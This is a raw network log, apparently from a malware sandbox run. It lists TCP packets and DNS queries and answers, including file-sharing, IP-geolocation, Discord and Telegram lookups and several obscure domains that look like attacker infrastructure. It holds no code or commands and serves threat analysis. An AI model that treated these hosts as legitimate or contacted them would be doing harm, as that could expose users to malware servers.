Dec 20, 2023 15:35:10.783641100 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.783673048 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.783678055 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.783691883 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.784784079 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.784801960 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.784837008 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.784842014 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.784866095 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.787525892 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.787550926 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.787584066 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.787589073 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.787605047 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.791121960 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.791161060 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.791184902 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.791196108 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.791212082 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.793514013 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.793550968 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.793571949 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.793576002 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.793605089 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.794470072 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.794496059 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.794528008 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.794533968 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.794548988 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.795170069 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.795195103 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.795232058 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.795241117 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.795260906 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.795731068 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.795748949 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.795792103 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.795797110 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.795819998 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.796422005 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.796446085 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.796483040 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.796485901 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.796515942 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.797132015 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.797151089 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.797202110 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.797207117 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.797219038 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.797512054 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.797549963 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.797568083 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.797571898 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.797602892 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.797976017 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.797992945 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.798032045 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.798037052 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.798060894 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.798352957 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.798376083 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.798408985 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.798413038 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.798440933 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.798732996 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.798751116 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.798785925 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.798794031 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.798816919 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.799197912 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.799228907 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.799252033 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.799256086 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.799282074 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.799505949 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.799539089 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.799563885 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.799566984 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.799592018 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.800093889 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.800117970 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.800153971 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.800158978 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.800180912 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.800491095 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.800508022 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.800546885 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.800551891 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.800569057 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.800957918 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.800981045 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.801002026 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.801007032 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.801047087 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.801373005 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.801390886 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.801426888 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.801430941 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.801441908 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.801788092 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.801832914 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.801851034 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.801855087 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.801887989 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.802196026 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.802213907 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.802247047 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.802252054 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.802264929 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.802661896 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.802686930 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.802717924 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.802722931 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.802736044 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.803030014 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.803046942 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.803090096 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.803093910 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.803117037 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.806564093 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.806596994 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.806624889 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.806629896 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.806653976 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.808860064 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.808878899 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.808926105 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.808932066 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.808954954 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.810432911 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.810457945 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.810496092 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.810501099 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.810519934 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.811415911 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.811434984 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.811474085 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.811482906 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.811496019 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.812835932 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.812860966 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.812905073 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.812911034 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.812937021 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.814378977 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.814397097 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.814441919 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.814446926 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.814475060 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.816310883 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.816348076 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.816370010 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.816374063 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.816409111 CET	49751	443	192.168.2.4	185.199.110.133
Dec 20, 2023 15:35:10.820715904 CET	443	49751	185.199.110.133	192.168.2.4
Dec 20, 2023 15:35:10.820741892 CET	443	49751	185.199.110.133	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2023 15:34:57.666695118 CET	192.168.2.4	1.1.1.1	0x5afc	Standard query (0)	urlhaus.abuse.ch	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:34:58.913299084 CET	192.168.2.4	1.1.1.1	0x1c68	Standard query (0)	china.dhabigroup.top	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:00.253381014 CET	192.168.2.4	1.1.1.1	0xb9c5	Standard query (0)	tmpfiles.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:05.546251059 CET	192.168.2.4	1.1.1.1	0x11b7	Standard query (0)	mrproper.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:06.617887020 CET	192.168.2.4	1.1.1.1	0x88ae	Standard query (0)	domen414.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:08.188771009 CET	192.168.2.4	1.1.1.1	0xc4dc	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:08.363784075 CET	192.168.2.4	1.1.1.1	0xd854	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:09.203819990 CET	192.168.2.4	1.1.1.1	0x8884	Standard query (0)	objects.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:12.116997004 CET	192.168.2.4	1.1.1.1	0xd5db	Standard query (0)	mail.acestar.com.ph	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:13.502712011 CET	192.168.2.4	1.1.1.1	0xd5db	Standard query (0)	mail.acestar.com.ph	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:13.982645988 CET	192.168.2.4	1.1.1.1	0xbf08	Standard query (0)	brusuax.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:14.979971886 CET	192.168.2.4	1.1.1.1	0xbf08	Standard query (0)	brusuax.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:20.495398998 CET	192.168.2.4	1.1.1.1	0x31ab	Standard query (0)	edarululoom.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:21.597477913 CET	192.168.2.4	1.1.1.1	0xadc8	Standard query (0)	132xz-1319111867.cos.ap-beijing.myqcloud.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:21.617882013 CET	192.168.2.4	1.1.1.1	0x2786	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:25.002584934 CET	192.168.2.4	1.1.1.1	0xdfcc	Standard query (0)	api.gofile.io	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:25.847186089 CET	192.168.2.4	1.1.1.1	0xffe2	Standard query (0)	geolocation-db.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:27.550385952 CET	192.168.2.4	1.1.1.1	0xbf33	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:27.942126989 CET	192.168.2.4	1.1.1.1	0x8a8c	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:32.671104908 CET	192.168.2.4	1.1.1.1	0x2ba5	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:42.831721067 CET	192.168.2.4	1.1.1.1	0x499c	Standard query (0)	www.magssin.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:37:20.438431978 CET	192.168.2.4	1.1.1.1	0xbc6b	Standard query (0)	comediantes.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2023 15:34:57.800777912 CET	1.1.1.1	192.168.2.4	0x5afc	No error (0)	urlhaus.abuse.ch	p2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 15:34:59.339731932 CET	1.1.1.1	192.168.2.4	0x1c68	No error (0)	china.dhabigroup.top		172.67.195.16	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:34:59.339731932 CET	1.1.1.1	192.168.2.4	0x1c68	No error (0)	china.dhabigroup.top		104.21.52.41	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:00.389811039 CET	1.1.1.1	192.168.2.4	0xb9c5	No error (0)	tmpfiles.org		104.21.21.16	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:00.389811039 CET	1.1.1.1	192.168.2.4	0xb9c5	No error (0)	tmpfiles.org		172.67.195.247	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:05.788362980 CET	1.1.1.1	192.168.2.4	0x11b7	No error (0)	mrproper.org		104.21.63.180	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:05.788362980 CET	1.1.1.1	192.168.2.4	0x11b7	No error (0)	mrproper.org		172.67.171.152	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:06.809931993 CET	1.1.1.1	192.168.2.4	0x88ae	No error (0)	domen414.com		104.21.91.52	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:06.809931993 CET	1.1.1.1	192.168.2.4	0x88ae	No error (0)	domen414.com		172.67.166.192	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:08.313874960 CET	1.1.1.1	192.168.2.4	0xc4dc	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 15:35:08.313874960 CET	1.1.1.1	192.168.2.4	0xc4dc	No error (0)	api4.ipify.org		64.185.227.156	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:08.313874960 CET	1.1.1.1	192.168.2.4	0xc4dc	No error (0)	api4.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:08.313874960 CET	1.1.1.1	192.168.2.4	0xc4dc	No error (0)	api4.ipify.org		104.237.62.212	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:08.519757986 CET	1.1.1.1	192.168.2.4	0xd854	No error (0)	github.com		140.82.113.4	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:09.328859091 CET	1.1.1.1	192.168.2.4	0x8884	No error (0)	objects.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:09.328859091 CET	1.1.1.1	192.168.2.4	0x8884	No error (0)	objects.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:09.328859091 CET	1.1.1.1	192.168.2.4	0x8884	No error (0)	objects.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:09.328859091 CET	1.1.1.1	192.168.2.4	0x8884	No error (0)	objects.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:13.339432955 CET	1.1.1.1	192.168.2.4	0xd5db	No error (0)	mail.acestar.com.ph		45.33.104.46	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:13.628464937 CET	1.1.1.1	192.168.2.4	0xd5db	No error (0)	mail.acestar.com.ph		45.33.104.46	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685837030 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		210.182.29.70	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685837030 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		123.140.161.243	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685837030 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685837030 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		201.218.66.48	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685837030 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		189.232.1.60	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685837030 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		175.119.10.231	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685837030 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		175.126.109.15	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685837030 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685837030 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		196.188.169.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685837030 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685856104 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		210.182.29.70	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685856104 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		123.140.161.243	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685856104 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		180.94.156.61	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685856104 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		201.218.66.48	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685856104 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		189.232.1.60	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685856104 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		175.119.10.231	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685856104 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		175.126.109.15	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685856104 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		109.175.29.39	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685856104 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		196.188.169.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:15.685856104 CET	1.1.1.1	192.168.2.4	0xbf08	No error (0)	brusuax.com		2.180.10.7	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:20.684670925 CET	1.1.1.1	192.168.2.4	0x31ab	No error (0)	edarululoom.com		104.21.42.224	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:20.684670925 CET	1.1.1.1	192.168.2.4	0x31ab	No error (0)	edarululoom.com		172.67.167.33	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:21.763823986 CET	1.1.1.1	192.168.2.4	0x2786	No error (0)	api.2ip.ua		172.67.139.220	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:21.763823986 CET	1.1.1.1	192.168.2.4	0x2786	No error (0)	api.2ip.ua		104.21.65.24	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:21.876159906 CET	1.1.1.1	192.168.2.4	0xadc8	No error (0)	132xz-1319111867.cos.ap-beijing.myqcloud.com	bj.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 15:35:21.876159906 CET	1.1.1.1	192.168.2.4	0xadc8	No error (0)	bj.file.myqcloud.com		82.156.94.48	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:21.876159906 CET	1.1.1.1	192.168.2.4	0xadc8	No error (0)	bj.file.myqcloud.com		82.156.94.13	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:21.876159906 CET	1.1.1.1	192.168.2.4	0xadc8	No error (0)	bj.file.myqcloud.com		82.156.94.17	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:21.876159906 CET	1.1.1.1	192.168.2.4	0xadc8	No error (0)	bj.file.myqcloud.com		82.156.94.45	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:21.876159906 CET	1.1.1.1	192.168.2.4	0xadc8	No error (0)	bj.file.myqcloud.com		82.156.94.47	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:25.132744074 CET	1.1.1.1	192.168.2.4	0xdfcc	No error (0)	api.gofile.io		151.80.29.83	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:25.132744074 CET	1.1.1.1	192.168.2.4	0xdfcc	No error (0)	api.gofile.io		51.38.43.18	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:25.132744074 CET	1.1.1.1	192.168.2.4	0xdfcc	No error (0)	api.gofile.io		51.178.66.33	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:25.978271008 CET	1.1.1.1	192.168.2.4	0xffe2	No error (0)	geolocation-db.com		159.89.102.253	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.067667007 CET	1.1.1.1	192.168.2.4	0x8a8c	No error (0)	discord.com		162.159.136.232	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.067667007 CET	1.1.1.1	192.168.2.4	0x8a8c	No error (0)	discord.com		162.159.135.232	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.067667007 CET	1.1.1.1	192.168.2.4	0x8a8c	No error (0)	discord.com		162.159.137.232	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.067667007 CET	1.1.1.1	192.168.2.4	0x8a8c	No error (0)	discord.com		162.159.138.232	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.067667007 CET	1.1.1.1	192.168.2.4	0x8a8c	No error (0)	discord.com		162.159.128.233	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.260390043 CET	1.1.1.1	192.168.2.4	0xbf33	No error (0)	zexeq.com		179.153.102.52	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.260390043 CET	1.1.1.1	192.168.2.4	0xbf33	No error (0)	zexeq.com		196.188.169.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.260390043 CET	1.1.1.1	192.168.2.4	0xbf33	No error (0)	zexeq.com		95.86.30.3	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.260390043 CET	1.1.1.1	192.168.2.4	0xbf33	No error (0)	zexeq.com		190.12.87.61	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.260390043 CET	1.1.1.1	192.168.2.4	0xbf33	No error (0)	zexeq.com		211.119.84.111	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.260390043 CET	1.1.1.1	192.168.2.4	0xbf33	No error (0)	zexeq.com		93.112.218.34	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.260390043 CET	1.1.1.1	192.168.2.4	0xbf33	No error (0)	zexeq.com		91.104.83.7	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.260390043 CET	1.1.1.1	192.168.2.4	0xbf33	No error (0)	zexeq.com		210.182.29.70	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.260390043 CET	1.1.1.1	192.168.2.4	0xbf33	No error (0)	zexeq.com		187.156.96.226	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:28.260390043 CET	1.1.1.1	192.168.2.4	0xbf33	No error (0)	zexeq.com		211.119.84.112	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:32.795768023 CET	1.1.1.1	192.168.2.4	0x2ba5	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:35:43.114378929 CET	1.1.1.1	192.168.2.4	0x499c	No error (0)	www.magssin.com		167.86.119.6	A (IP address)	IN (0x0001)	false
Dec 20, 2023 15:36:29.110261917 CET	1.1.1.1	192.168.2.4	0x4cc7	Name error (3)	www.donaldview.net	none	none	A (IP address)	IN (0x0001)	false
